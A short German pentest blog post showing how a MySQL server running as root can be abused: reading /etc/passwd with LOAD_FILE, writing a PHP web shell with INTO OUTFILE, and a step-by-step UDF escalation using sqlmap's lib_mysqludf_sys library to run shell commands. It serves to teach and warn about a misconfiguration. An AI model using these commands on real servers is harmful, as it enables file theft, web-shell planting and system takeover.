Hacking MySQL: MySQL-Server als root

von |3. November 2013|Pentest|0 Kommentare|

Dienste unnötigerweise als root bzw. mit maximalen Berechtigungen laufen zu lassen ist generell eine schlechte Idee. Besonders dämlich ist sie bei MySQL. Über LOAD_FILE und INTO OUTFILE stellt MySQL einem Angreifer ein paar praktische Möglichkeiten zur Verfügung, die sich auch problemlos über SQL Injections nutzen lassen:

SELECT LOAD_FILE(„/etc/passwd“);

SELECT ‚<?php system($_REQUEST[‚cmd‘]); ?>‘ INTO OUTFILE ‚/var/www/webshell.php

Diese beiden Funktionalitäten lassen zwar schon genug Schaden zu, es geht aber noch eine Stufe härter: Über MySQL User Defined Functions (UDF) lassen sich beliebige shell-Kommandos ausführen. Das Tool sqlmap beinhaltet die notwendigen Libs im Ordner udf. Die korrekte Lib auf den Server nach /tmp/ laden und aktivieren:

mysql> use mysql;

mysql> create table abc(line blob);

mysql> insert into abc values(load_file(‚/tmp/lib_mysqludf_sys.so‘));

mysql> select * from abc into dumpfile ‚/usr/lib/lib_mysqludf_sys.so‘;

mysql> create function sys_exec returns integer soname ‚lib_mysqludf_sys.so‘;

mysql> select sys_exec(‚touch /test‘);

Privilege escalation by MySQL…